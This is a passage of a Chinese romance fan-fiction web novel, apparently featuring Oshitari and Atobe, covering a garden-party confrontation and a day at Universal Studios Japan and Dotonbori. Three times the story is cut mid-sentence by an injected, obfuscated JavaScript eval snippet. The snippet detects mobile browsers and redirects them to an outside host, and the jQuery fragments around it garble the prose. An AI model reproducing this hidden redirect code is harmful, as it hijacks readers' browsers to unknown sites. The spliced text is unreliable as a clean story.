像一把最钝的刀子,慢慢地、狠狠地碾过忍足的心脏。 她明明懂。 她怎么可能不懂? 她在空无一人的音乐厅里弹奏《诀别书》时倾注的感情,几乎能撕裂听众的灵魂。 她刚刚能对诗词的解读展现出那样深刻的洞察力,却说在音乐上没什么造诣? 只是觉得挺好听? 他不信。 一个字都不信。 巨大的失落瞬间淹没了他,看着她那张毫无波澜的脸,第一次产生了一种无力的挫败感。 她就像一座被万年寒冰封锁的山脉。 他所有的试探、所有的努力,甚至他自以为能打动她的音乐,似乎都无法在那冰层上留下哪怕一丝裂痕。 忍足抿紧了唇,握着琴弓的手指无意识地收紧,指节泛出白色。 迹部看着忍足瞬间黯淡下去的眼神,又看了看依旧冷冰冰的如月遥,在心里叹了口气。 这如月小姐,还真是刀枪不入啊。 清水似乎不肯放过如月,笑着说,“如月小姐刚刚一番汉诗明显很有才华,如月家也是世家大族,想必如月小姐也是才华横溢吧。” “不然给我等展示一番,让我们看看如月小姐的风采。”她虽然笑着,但是眼底却有不加掩饰的挑衅。 早乙女管家也察觉到了,他脸上没有刚刚的温和,反而慢慢沉了下来。 如月遥微微皱眉,看着清水的刁难,不咸不淡地开口: “弓道,剑道,空手道。” “柔道,忍道,居合道。” “我不擅长音乐,但是略通拳脚,清水小姐想看哪种。” 话音落下,清水小姐被如月遥那番惊世骇俗之言噎得脸色一阵青一阵白,周围宾客的窃窃私语和异样目光更是让她下不来台。 羞愤交加之下,她口不择言:“粗鄙!真是有辱斯文!” 早乙女管家脸色瞬间阴沉如水,上前一步,周身散发出冷厉气息,刚要开口维护,却被如月遥一个极轻的手势制止了。 如月遥的眉眼冷了下来,那双眼眸里凝起了实质般的寒霜,缓缓扫过在场神色各异的众人。被她的目光扫到的人,无不感到一阵无形的压力,下意识地屏住了呼吸。 她忽然轻轻笑了一下,笑声很轻,却让人无端觉得发冷。 低头,漫不经心地把玩着自己食指上一枚造型古朴、镶嵌着黑曜石的银质戒指,语气像是随口抱怨,又带着一种令人胆寒的慵懒: “午后休憩的时候,最讨厌…吵吵闹闹的鸟叫声了。” 话音落下的瞬间—— 她的手腕几不可察地一抖。 一道极细微的银光如同毒蛇吐信,疾射而出。速度快得几乎让人以为是错觉! “叮——啪嚓!” 清脆的碎裂声从远处廊下传来。 众人骇然望去,只见挂在廊檐一角、距离他们至少有二十米远的一串琉璃风铃,其中最大、最底部的那只铃铛,竟然应声碎裂。 碎片稀里哗啦地散落下来,只剩下光秃秃的铃舌在空中微微晃荡。 而击碎它的,似乎正是如月遥手中把玩的那枚戒指。 整个庭院死寂无声。 落针可闻。 所有人都被这突如其来、精准狠戾的一幕惊呆了,目瞪口呆地看着那串残缺的风铃,又难以置信地看向那个依旧站在原地、仿佛什么都没做的黑衣女子。 早乙女管家眼中瞬间爆发出无比自豪与兴奋的光芒,腰杆挺得笔直,内心狂喜: 看到了吗! 这就是如月小姐! 文武双全! 能念诗更能打! 看谁还敢说我们小姐粗鄙! 他立刻小跑着去将落在地的那枚戒指小心翼翼地捡了回来,用丝帕擦拭干净,恭敬地双手奉还给如月遥。 如月遥看都没看那风铃残骸一眼,仿佛只是随手拍死了一只聒噪的蚊子。慢条斯理地将那枚“凶器”重新戴回食指,每一个动作都优雅从容。 然后,她抬起脚,一步步走向早已脸色发白的清水小姐。 木屐敲在石板上,发出清脆的“哒、哒”声,在此刻死寂的庭院里,如同敲在每个人的心尖上。 她本就高挑,此刻气场全开,更是带着一种压倒性的、令人窒息的压迫感。 清水小姐被她吓得后退,差点绊倒在自己和服的下摆上。 如月遥在离她极近的地方停下,微微俯身。 脸上竟然重新挂上了一抹极其浅淡的、甚至可以称之为“温柔”的微笑,只是那笑意未达冰冷的眼底。 她伸出刚刚才发射过“暗器”的手,指尖轻轻拂过清水小姐鬓边,拈下一片不知何时落在上面的粉色樱花瓣。 “清水小姐,”她的声音放得很轻,甚至带着一点奇异的柔和,“头发乱了哦。” 她将那枚花瓣轻轻吹落,看着清水惊恐的眼睛,微笑着慢悠悠地补充道: “下次如果觉得无聊,欢迎来横滨做客。” “如月家的老宅,虽然不比京都风雅,但绝对不会让客人感到无聊的。” 横滨。 如月老宅。 那是关东地区极道势力心中如同龙潭虎穴般的存在。 这看似邀请实则威胁的话,让清水小姐瞬间面无人色,一个字也说不出来。 做完这一切,如月遥才直起身,仿佛刚刚只是进行了一段友好的闲聊。她转过身,目光穿越依旧处于震惊中的人群,精准地落在了忍足侑士身上。 忍足的心跳早在风铃碎裂的那一刻就停止了,此刻被她这样看着,更是呼吸一窒。 如月遥看着他,脸上的冰霜和那伪装的温柔都已褪去,只剩下坦然。 她开口,声音清晰地传入每个人耳中: “忍足君独奏的曲子,很好听。” 她顿了顿,目光一瞬不瞬地看着他,清晰地补充了后半句: “我很喜欢。” 不再是“挺好听的”敷衍,而是明确的“很喜欢”的认可。 忍足只觉得喜悦如同海啸般瞬间冲垮了所有失落,心脏疯狂地跳动起来,几乎要撞出胸腔。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526608|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她,一时竟忘了反应。 如月遥却已收回了目光,仿佛只是完成了一项必要的告知。 早乙女管家已经回到她身侧,脸上洋溢着与有荣焉的激动红光。 如月遥微微颔首,对着主家和众人,脸上重新挂上了那副无可挑剔的、却冰冷疏离的礼貌面具,声音恢复了之前的平淡: “一点小插曲,扰了各位雅兴。大家请继续。” 转身,黑色的和服划出一道利落决绝的弧线,带着早乙女管家,径直朝着休息室的方向走去,留下满庭死寂和一群惊魂未定、需要时间消化刚才那惊天一幕的宾客。 赏花宴终于落下帷幕。 庭院的灯火渐次熄灭,只留下仆从们默默收拾残局。各家的豪车如同沉默的巨兽,一辆接一辆地滑入车道,接走心思各异的宾客。 如月遥和早乙女管家在僻静的休息室里等候。 管家脸上依旧残留着亢奋的红光,腰板挺得笔直,仿佛刚刚大出风头的是他自己。 他忍不住压低声音,带着几分不解和惋惜问道:“小姐,您方才为何要说自己于音乐上没什么造诣?您明明……” 他的话没说完,就被如月遥制止了。 如月遥坐在雕花木椅上,指尖无意识地敲着扶手,神色恢复了惯常的淡漠,只是眼底还残留着一丝未散尽的、因饥饿和被挑衅而起的烦躁。 “今天这场合本质是什么,我很清楚。” 她声音没什么起伏,像是在分析一件与己无关的事,“那位清水小姐对忍足君有意,表现得那么明显。” “我何必去凑那个热闹,平白惹人嫉恨,说不定还坏了人家姻缘。” 她说得轻描淡写,仿佛真的只是个不想惹麻烦的旁观者。 管家愣了一下,下意识地想反驳“如月家需要在乎清水家怎么想吗”,但看着小姐那副懒得再多说的表情,又把话咽了回去。 如月遥却似乎想起了清水那副咄咄逼人的样子,尤其是自己饿得前胸贴后背的时候,那股火气又有点压不住,冷哼了一声:“可惜,她不懂收敛。非要来招惹我。” 她顿了顿,语气里带上了一点理直气壮,“尤其是饿得要命的时候,我脾气最差。” “还撞上来挑衅,那不出手教训一下,就不是我了。” 早乙女管家立刻点头如捣蒜,满脸崇拜:“是是是!是那位清水小姐太不知分寸了。还是小姐您懂事,顾全大局!” 虽然小姐“顾全大局”的方式是直接打碎了二十米外的风铃外加死亡威胁。 与此同时,仅隔着一扇薄薄纸拉门的隔壁休息间。 忍足侑士和迹部景吾也在等车。 忍足原本因为听到如月遥那番“不想坏他姻缘”的论调而瞬间黑了脸,眉头紧锁。 什么清水小姐? 什么姻缘? 他根本对那个清水毫无兴趣,甚至有点厌烦她的纠缠。 谁要她来“顾全”这种大局了? 这种被擅自推开、仿佛无足轻重的感觉,让他心里憋闷得厉害。 然而,隔壁紧接着传来的话语,却像一只无形的手,瞬间抚平了他眉间的褶皱。 “尤其是饿得要命的时候,我脾气最差。” 脑海里立刻浮现出她对着少得可怜的怀石料理眼神发直、偷偷按胃部、以及后来认真啃和果子的样子。 那么冷冰冰的一个人,却会因为饿肚子而闹脾气,甚至成了她出手教训人的理由。 一种难以言喻的柔软情绪迅速取代了憋闷,忍足几乎控制不住地低下头,嘴角疯狂上扬,眼底漾开浓得化不开的笑意。 连他自己都没察觉到自己的表情变得有多“不值钱”。 迹部将他这瞬间的变脸尽收眼底,忍不住发出一声充满鄙夷的嗤笑:“呵。” 他优雅地交叠双腿,斜睨着忍足,“你还真是看似游戏花丛,实则纯情得可笑啊。” 忍足闻言,立刻收敛了笑容,推了推眼镜试图恢复镇定,但眼角眉梢残留的春意却怎么也藏不住。 就在这时,隔壁的声音又清晰地传了过来,是如月遥在对管家吩咐明天的行程,语气里带着一种终于解脱了的、甚至有点雀跃的轻松: “明天不去学校了,被这无聊的宴会浪费了一天。” 她顿了顿,声音里透出一丝明确的期待,“去大阪环球影城,放松一下。” 脚步声响起,似乎是如月家的车到了,主仆二人的声音渐行渐远,最终消失在走廊尽头。 休息间里恢复了安静。 忍足却猛地抬起头,镜片后的眼睛亮得惊人。 大阪环球影城? 他迅速看向迹部。 迹部已经拿出了手机,似乎正在查看日程,头也不抬地哼了一声:“啊嗯?明天本大爷正好要去大阪分公司视察。顺路。” 忍足嘴角的笑容彻底绽放开来,这次不再是压抑的偷笑,而是志在必得的、闪烁着猎人般光芒的灿烂笑容。 “真是太巧了,迹部。”他声音愉悦地响起,“我想,你的顺风车,大概需要多载一个人了。” 7. 第 7 章 大阪环球影城喧闹的声浪几乎要掀翻天花板。 与京都那场充斥着无形枷锁的赏花宴相比,这里的空气都透着一种肆无忌惮的快乐。 如月遥混在熙熙攘攘的人群里,身上不再是那身压迫感十足的黑色和服,而是一身简单的黑色T恤和工装裤,长发扎成高马尾,露出光洁的额头和优美的脖颈线条。 只是那眉宇间的清冷和举手投足间自带的气场,依旧让她显得有些格格不入,像是一滴墨水滴进了彩虹糖罐。 她正站在一个堆满各式夸张卡通帽子的商店货架前,手指拨过一顶顶毛绒绒的耳朵、亮闪闪的皇冠,最后停留在一顶黑色的、带着库洛米那标志性坏笑的渔夫帽上。 她拿起来,对着镜子比了比。 酷酷的黑色和她很搭,帽檐下那双总是过于冷的眼睛,被库洛米那贱萌的表情衬得莫名多了点反差萌。 她看着镜子里顶着库洛米帽子的自己,嘴角几不可察地弯了一下,似乎觉得这形象有点新奇。 就在这时,光洁的镜面里,在她身影的斜后方,清晰地映出了另一个人的身影。 深蓝色的 Polo 衫,卡其色休闲长裤,白色板鞋,鼻梁上架着眼镜。 忍足侑士就站在那里,嘴角噙着一抹清晰的笑意,暗藏着某种发现宝藏般的新奇,正透过镜子看着她。 如月遥的身体瞬间僵住,下意识地就想把帽子摘下来,仿佛做了什么丢人的事被抓包了一样。 “别摘。”忍足的声音已经带着笑意在她身后响起,他几步走近,略带慵懒的关西腔在这种环境下显得格外有磁性,“很可爱,戴着吧。” 如月遥的手指还捏着帽檐,摘也不是,不摘也不是。 镜子里,忍足已经站到了她身侧,比她高出大半个头,正低头看着她,镜片后的目光含着温和的调侃。 “忍足君?”她转过身,尽量让自己的语气听起来平静无波,但语气里还是泄露了一丝尴尬,“你怎么会在这里?” 遇到熟人,尤其是见过自己最“体面”和最“不体面”的熟人,在这种地方,确实有点措手不及。 忍足笑得一脸自然,仿佛真是偶遇。 “这里是大阪,是我的故乡啊。经常回来,偶尔也会来USJ放松一下。” 他目光扫过她头顶的库洛米,笑意更深,“没想到这么有缘,能在这里遇到如月小姐。” 他语气自然地发出邀请,带着温和体贴,“既然遇到了,不如一起?” “也让我尽尽地主之谊,带你逛逛。” “这里项目很多,一个人玩容易错过精华。” 如月遥迟疑了一下。 她确实对日本这种高度秩序化又充满各种细微规则的地方不太适应,刚才在自动贩卖机前研究半天才买对饮料的烦躁还记忆犹新。 有个熟悉环境的人带路,似乎也不错。 她点了点头,恢复了平静,算是同意:“那就麻烦忍足君了。” 如月看着忍足这一身精英休闲风的打扮,虽然比昨天那身正式和服随意了很多,但在这全员疯玩、奇装异服的环境里,还是显得太过格格不入了。 一个恶作剧的念头忽然冒了出来。 不能只有我一个人丢人。 她的目光扫过旁边的货架,精准地落在一顶亮绿色的、张着大嘴的卡通小恐龙帽子上。 “入乡随俗。”她语气平淡,仿佛在提出一个非常合理的建议,“忍足君也戴帽子吧。” 说着,她已经伸手拿下了那顶绿油油的小恐龙,以迅雷不及掩耳之势,直接扣在了忍足精心打理过的头发上。 动作快、准、狠。 忍足完全没料到她会突然来这么一手,只觉得头上一重,视线被恐龙张大的嘴巴挡住了一部分,鼻尖还萦绕着一股新玩具特有的、淡淡的塑料味。 “……” 他一大早起来特意用发胶抓出的、慵懒而不失帅气的发型,瞬间被压垮。 几缕不听话的发丝从恐龙帽子边缘翘了出来,配上他那张戴着眼镜、写满错愕的俊脸,以及一身精英范儿的打扮…… 效果堪称灾难性的滑稽。 如月遥看着自己的杰作,顶着库洛米帽子,那张总是没什么表情的脸上,第一次清晰地浮现出一种名为得意的情绪。 虽然极其细微,但眼睛明显亮了一下,嘴角也控制不住地向上弯起一个弧度。 忍足透过恐龙张大的嘴巴,看着她这难得鲜活的表情,到嘴边的拒绝和无奈瞬间咽了回去。 好吧。 他认命地抬手调整了一下歪掉的恐龙帽子,叹了口气,语气里却听不出丝毫恼怒,反而带着纵容。 “如月小姐……还真是,出其不意。” 戴上“屈辱”的恐龙帽子,忍足仿佛解开了某种封印,彻底放弃了精英形象管理。 拿出手机,调出USJ的官方APP,上面实时显示着各个项目的排队时间。 “跟我来。”他对着如月遥偏了偏头,恐龙嘴巴随着他的动作一开一合,显得有些滑稽,但他眼神里的从容却丝毫未减。 接下来的时间,如月遥体验到了什么叫“效率狂魔のUSJ攻略法”。 忍足仿佛一个人形导航兼精密计时器,带着她在熙攘的园区里穿梭自如。 他总能精准地选择最优路线,在某个项目刚结束一轮、排队队伍最短的空隙插入,或者利用单人通道的优势节省大量时间。 玩完一个刺激的太空漫游,出来正好赶上隔壁侏罗纪公园乘船游的等待时间降到十分钟以下;结束水上冒险,拐个弯就能卡点进入蜘蛛侠的4D体验馆。 每一个项目之间的衔接都丝滑得不可思议,最大限度地避免了在烈日下枯燥排队的痛苦。 坐在刚刚结束的、视觉效果震撼的哈利波特禁忌之旅出口长椅上休息时,如月遥忍不住侧头看向旁边正低头研究APP的忍足,语气里带着真实的赞叹:“你很厉害。” 她指了指他的手机:“像做精密手术一样,条理清晰,精准高效,不愧是医学生。” 忍足闻言抬起头,恐龙帽子下的眼睛弯了起来,心情愉悦度爆表:“啊呀~能被如月小姐这么夸奖,比玩了十个过山车还高兴。” 他们几乎玩遍了所有刺激的项目。 从逆转世界的好莱坞美梦到360度旋转的飞天翼龙,失重感和加速度带来的肾上腺素飙升让如月遥难得地放声惊呼,声音里的鲜活远比昨天在那场沉闷宴会上要多得多。 忍足看着她被风吹乱鬓发、眼睛亮晶晶的样子,忍不住想: 原来她也会有这样近乎孩子气的一面。 真可爱。 唯一一点小小的遗憾是,如月遥的胆子似乎太大了点。 即使在最惊险的过山车上,她也只是睁大眼睛,紧紧抓着安全压杠,丝毫没有表现出需要依靠别人的害怕。 忍足几次暗中期待她能怕得抓住他的胳膊,让他有机会扮演一下“英雄救美”的角色,结果都落了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526609|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空。 唉,女生太勇猛,也是一种烦恼。 临近中午,玩得有些饥肠辘辘的两人走进一家充满美式复古风的餐厅。 忍足拿着菜单,熟门熟路地推荐:“这里的黄油啤酒很有名,是无酒精的,口感很特别,要试试吗?” 如月遥的目光却被菜单上印着的、造型蠢萌的小黄人套餐吸引了。 一个巨大的小黄人脑袋形状的碗,里面装着咖喱饭,旁边还配着香蕉形状的小点心。 “我要那个。”她指着小黄人套餐,眼神坚定。 忍足失笑:“黄油啤酒和小黄人套餐?点这么多吃得完吗?” 如月遥一脸理所当然,“都买。好吃就吃,不好吃……” 她顿了顿,目光扫向忍足,那意思是你看着办。 忍足:“……” 好吧,这很如月遥。 他哭笑不得地点头,“行吧,我很乐意当您的‘备用胃袋’。” 两人端着餐盘找位置坐下。 如月遥对黄油啤酒甜甜的奶油口感表示认可,然后开始专心对付小黄人咖喱饭,吃相斯文却速度不慢,看来是真饿了。 忍足看着她低头认真吃饭,腮帮子微微鼓起的模样,觉得比任何风景都好看。 他把自己盘子里的炸鸡块夹给她一块:“这个味道不错,尝尝?” 如月遥抬头看了他一眼,没说话,默默吃了。 就在这气氛渐趋融洽温馨的时刻,餐厅的落地窗外,一个与游乐园欢乐氛围格格不入的、穿着高定西装的身影恰好经过。 迹部景吾原本是来视察USJ与迹部财团合作的某个项目进展,正听着负责人汇报,目光随意扫过餐厅内部,却猛地定格在某个角落。 他看到了什么? 忍足侑士? 那个一向注重形象的家伙。 顶着一个蠢到爆表的亮绿色恐龙帽子。 帽子下面那张脸笑得一脸荡漾? 还殷勤地给对面戴着库洛米帽子的女人夹菜?! 迹部脚下的步子顿住了,他甚至下意识地抬手揉了揉眼睛,怀疑自己是不是工作太累出现了幻觉。 跟在身后的项目负责人看着他突然停下,表情诡异,吓得大气不敢出。 迹部确认自己没看错后,脸上瞬间浮现出一种混合着震惊、鄙夷和幸灾乐祸的表情。 毫不犹豫地拿出手机,对准窗内那“惨不忍睹”的一幕,咔嚓,连拍数张。 然后,手指飞快地操作,选中最清晰的一张。 照片上,恐龙忍足正笑着把炸鸡块放到库洛米如月的盘子里,背景是喧闹的餐厅,画面充满了违和又奇异的和谐感。 附言:【图片】啧。忍足,你这副样子真是太不华丽了!本大爷的眼睛受到了玷污!【鄙视】【鄙视】 点击,发送。 餐厅内,正看着如月遥吃饭的忍足手机连续震动了好几下。 他疑惑地拿出来一看。 来自迹部景吾的LINE消息。 点开图片。 忍足脸上的笑容瞬间僵住:“……” 如月遥察觉到他的异样,抬起头,含糊地问:“怎么了?” 忍足看着窗外早已空无一人的方向,又看看照片里自己那副“蠢样”,深吸一口气,把手机屏幕按灭,塞回口袋,对着如月遥露出一个无比自然的微笑。 “没什么,垃圾短信。” 心里已经把迹部景吾拉黑了一百遍。 8. 第 8 章 午后阳光正好,水上世界的露天剧场座无虚席。 欢呼声、音乐声、以及水花溅起的哗啦声交织在一起,充满了夏日的热情与活力。 忍足侑士凭借着对USJ的了如指掌,以及一点不可告人的“小心机”,成功地将如月遥引导到了表演场地的前排,湿身区。 “这里的视角最好,能近距离看到特技演员的动作。” 他推了推眼镜,语气诚恳,表情正直,仿佛真的只是在为同伴提供最佳观演体验。 如月遥不疑有他,顶着她的库洛米帽子坐了下来,对即将到来的“洗礼”一无所知。 表演高潮迭起,摩托艇在水面划出惊险的弧线,爆炸特效掀起热浪。 很快,就到了最经典的互动环节——演员们拿着高压水枪,坏笑着对准了前排的观众。 “要来了哦!”演员高声喊道,引来一片兴奋又带着点恐惧的尖叫。 忍足眼底闪过一丝计划得逞的微光。 第一波水浪劈头盖脸地浇过来时,忍足几乎是瞬间就侧过身,用自己宽阔的背脊和肩膀,严严实实地挡在了如月遥面前。 “哗——!” 冰凉的水珠大部分砸在了他的深蓝色Polo衫上,瞬间浸透布料,勾勒出底下结实有力的肌肉线条,只有少许水花溅到了如月遥的手臂和裤子上。 如月遥愣了一下,抬头只看到眼前一堵湿漉漉的、散发着热意的“人墙”。 第二波、第三波…… 每一次水浪袭来,忍足都精准地调整角度,将她牢牢护在自己的身影之下。 他的手臂有时会看似不经意地环过她的肩侧,挡住侧面袭来的水流;有时会因为巨大的冲击力而微微后退,胸膛几乎要贴上她的脸,形成一个短暂而极具保护意味的拥抱圈。 每一次靠近,都能闻到她发间淡淡的、被水汽氤氲开的雪松冷香,混合着园区里甜腻的爆米花气味,形成一种奇异的、令人心跳加速的蛊惑。 虽然他把自己淋得像只落汤鸡,头发湿哒哒地贴在额角,眼镜片上全是水珠,但心里却雀跃无比。 如月遥从他身前探出头,看着眼前这个为了保护她而浑身湿透的男人,伸手拍了拍他湿漉漉的胳膊,语气真诚,甚至带着点赞扬: “忍足君,你真是个好人。” “……” 忍足脸上的完美笑容瞬间僵住,嘴角几不可察地抽搐了一下。 好……好人? 他被发好人卡了?! 在这种他自认为浪漫又心机的时刻?! 巨大的挫败感如同又一桶冰水,把他浇了个透心凉。他一时竟有些发呆,沉浸在“好人”二字的打击中。 就在他晃神的这一秒—— “看招!” 一个特别顽皮的演员发现了这个“护花使者”的疏忽,特意调转强力水枪,一股比之前更猛、更集中的水柱出其不意地直射过来。 “哗啦——!!!” 这一次,失去了屏障的如月遥被结结实实浇了个正着。 从头到脚。 冰凉的液体瞬间浸透她的黑色T恤,库洛米帽子也吸饱了水,沉重地耷拉下来,水珠顺着她白皙的脸颊和脖颈不断滚落,长长的眼睫毛上都挂着细小的水珠,颤巍巍的。 她整个人都懵了,像一只被突然扔进水里、不知所措的黑色小猫。 几缕湿发黏在腮边,她抬起那双被水浸润过的、越发清亮的眸子,看向忍足,里面带着明显的茫然,仿佛在无声地指责:你怎么这次不挡着了? 忍足猛地回神,看到的就是这样一幅画面。 湿身的如月遥,少了几分平时的冷硬,多了种诱人的美感。水珠滑过她精致的锁骨,没入被湿衣贴合的曲线。 忍足只觉得喉咙发干,心脏疯狂地撞击着胸腔,声音大得他怀疑周围人都能听见。 “抱歉!是我疏忽了!”他慌忙道歉,手忙脚乱地抓过随身带的背包,从里面翻出一包干净的餐巾纸递给她,眼神却有些不敢直视她此刻的样子。 如月遥却没接纸巾,只是看着他,声音无奈:“你先擦擦你的眼镜吧,都是水了,还能看清吗?” 忍足这才意识到自己的眼镜片早已模糊一片,世界在他眼里是一片扭曲的光斑。 他依言摘下眼镜。 就在他低头,用纸巾仔细擦拭镜片的时候,如月遥的目光落在了他的脸上。 没有了镜片的遮挡,那双总是隐藏在镜片之后的眼眸完全显露出来。 是极其漂亮的深蓝色,像最深邃的海洋,又像剔透的蓝宝石,此刻带着些许歉意和慌乱。 鼻梁高挺,唇形优美,湿漉的深蓝色发丝柔和了他平时那种慵懒精明的气质,反而增添了一种成熟的、略带野性的魅力。 他低头认真擦拭眼镜的样子,有种难以言喻的、沉稳又性感的吸引力。 如月遥看着看着,一时忘了自己也浑身湿透,心里不由自主地冒出一个清晰的念头: 长得是真帅。 从水上世界“劫后余生”的两人,站在阳光下,简直像刚从水里捞出来。 忍足的Polo衫紧紧贴在身上,透出底下结实的轮廓,头发还在滴滴答答地淌水,眼镜倒是擦干了,整个人看起来狼狈又性感。 如月遥自己也好不到哪里去,黑色的T恤湿透后颜色更深,贴在皮肤上凉飕飕的,幸好颜色深不至于太透。 库洛米帽子吸了水变得沉甸甸的,她终于把它摘了下来,湿漉漉的长发披散在肩头。 一阵微风吹过,带着五月初夏午后的暖意,但湿衣服贴着皮肤还是激起一阵凉意。 如月遥拧了拧自己头发上的水,看向旁边同样在滴水的男人,建议道,“你去旁边的商店买件衣服换一下。” 忍足深以为然,他可不想顶着这一身湿黏玩一下午,立刻点头:“说得对。如月小姐也一起去买一件换了吧?穿着湿衣服也不舒服。” 两人就近走进一家大型纪念品商店,里面琳琅满目地挂满了各种USJ主题的服装。 忍足原本想挑一件稍微正常点的、至少logo不那么夸张的T恤,正准备伸手拿一件深灰色的,旁边就伸过来一只白皙的手,拿起了一件异常醒目的T恤。 亮黄色的底,上面印着一个张牙舞爪、表情搞怪的绿色卡通恐龙,旁边还写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526610|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着夸张的英文“JURASSIC WORLD SURVIVOR!”。 如月遥把这件T恤塞到忍足手里,一脸认真,甚至带着点不容置疑的意味。 “这件。和你的帽子很搭。” 她指了指忍足头上那顶还没摘下来的、同样蠢萌的绿色恐龙帽子。 忍足:“……” 他看着手里这件堪称视觉灾难的T恤,又看看如月遥那双写满“我觉得很合适”的眼眸,内心挣扎了三秒。 精英形象? 算了,从戴上恐龙帽子那一刻起就已经碎成渣了。 他认命地接过T恤,叹了口气,语气里却带着纵容:“听如月小姐的。” 如月遥自己则挑了一件黑色的短袖T恤,正面是一个巨大的、戴着蝴蝶结的HelloKitty头像,Kitty的脸还被设计得有点酷酷的表情。 甜美的元素和她本身清冷的气质混合在一起,形成一种奇妙的甜酷风,异常生动。 两人分别去试衣间换好了干衣服。 当忍足穿着那件亮黄色恐龙T恤走出来时,感觉整个商店的目光都聚焦了过来。他强迫自己忽略掉那种羞耻感,看向同样换好衣服的如月遥。 黑色的HelloKitty T恤果然很适合她,既保留了她喜欢的黑色基调,又增添了几分俏皮,湿发披散着,素面朝天,却漂亮得让人移不开眼。 “很适合你。”忍足由衷地说。 “你也是。”如月遥点点头,对自己搭配的“恐龙套装”效果表示满意。 两人把湿衣服装进袋子里,感觉浑身干爽,重新恢复了活力。 买了冰镇饮料,坐在休息区的长椅上喝着。 “晚上有什么想吃的吗?”忍足吸着橙汁,自然地问道,“大阪可是美食之都。” 如月遥咬着吸管,想了想:“不知道,随便吧。” “那带你去吃地道的章鱼烧和大阪烧怎么样?”忍足提议,语气带着点小骄傲,“我知道几家老字号,味道绝对是大阪顶尖的。” 如月遥眼睛亮了一下,显然对美食很感兴趣,“最好在心斋桥附近。” 她补充道,“我晚上还想去那边购物。” “购物?”忍足有些好奇,“想买什么?药妆?电器?” 心斋桥是著名的购物区。 “彩妆。”如月遥回答得干脆利落,语气里带着明确的喜好,“日本的彩妆品牌很多都很好用,这次想多买一点。” 忍足闻言,目光不由自主地落在她脸上。 白皙无瑕的肌肤,细腻得几乎看不到毛孔,眉毛有型,睫毛长而翘,那双眼睛即使不施粉黛也清澈动人,唇色是自然的健康的红润。 他默默地吸了一大口橙汁,把到了嘴边的吐槽硬生生咽了回去。 长得这么漂亮……还需要化妆吗? 当然,这话他只敢在心里想想。 表面上,他从善如流地点头:“好,那吃完就去心斋桥,那边药妆店和专柜都很多,我可以给你带路。” 心里却开始盘算,晚上该怎么自然地、不显得突兀地,继续延长这来之不易的“地陪”时间。 9. 第 9 章 道顿堀美食街的夜晚灯火璀璨,人声鼎沸,巨大的招牌在夜色中格外醒目。 忍足熟门熟路地带着如月遥穿梭其中,避开了那些排着长队的网红店,钻进了一些看起来不起眼却香气四溢的小巷老铺。 第一站是章鱼烧。 站在开放式摊位前,看着老师傅熟练地将面糊倒入圆形模具,放入大块章鱼足、红姜、天妇罗碎,再用铁签灵巧地翻转,直到每一颗都变得金黄滚圆,最后淋上浓郁的酱汁、撒上飞舞的木鱼花和海苔粉。 “小心烫。”忍足接过递来的纸盒,用签子扎起一颗递给她。 如月遥接过签子,吹了吹,小心地咬开酥脆的外皮,里面是滚烫柔软的面糊和超大块的章鱼脚,酱汁的味道恰到好处。 一边被烫得丝丝吸气,一边含糊地称赞:“好吃。” 接着是大阪烧。 坐在狭窄却充满烟火气的吧台前,看着厨师在铁板上翻炒着厚厚的面糊、卷心菜、猪肉片和各种配料,最后盖上煎蛋,淋上美乃滋和特制酱汁。 分量十足,味道浓郁,两人分食一份都觉得相当满足。 最后又去吃了关东煮。 在小小的、热气腾腾的店里,挤在吧台角落,从咕嘟咕嘟翻滚着的大锅里挑选煮得入味的白萝卜、竹轮、鸡蛋、牛筋串…… 忍足发现,如月遥在吃东西的时候,整个人会散发出一种格外生动诱人的光彩。 她对食物充满了真诚的尊重和毫不掩饰的喜悦,每一口都吃得认真而享受,腮帮子有时会微微鼓起,眼睛因为美味而变得亮晶晶的。 这种纯粹享受美食的样子,看得他胃口都跟着变好了,平时食量一般的他,今天竟然也陪着她吃了不少。 不过,大小姐显然对用餐环境还是有些意见。 店里空间狭小,桌椅板凳都挨得很近,周围的食客们喝酒谈笑,声音嘈杂。 如月遥凑近忍足,蹙着眉,用带着点抱怨却又不得不压低的声音说:“日本的店铺真小。” “挤在一起,好吵。” 她温热的呼吸夹杂着关东煮的香气,轻轻喷在他的胳膊上,声音因为嘴里有食物而显得有些含糊。 忍足只觉得被她靠近的那半边身体瞬间僵住,一股细微的电流从耳根迅速窜遍全身,心脏不受控制地漏跳了一拍。 她这看似无比坦荡自然的动作却在他这里能掀起惊涛骇浪,可她又若无其事地退开,留他一个人心神激荡。 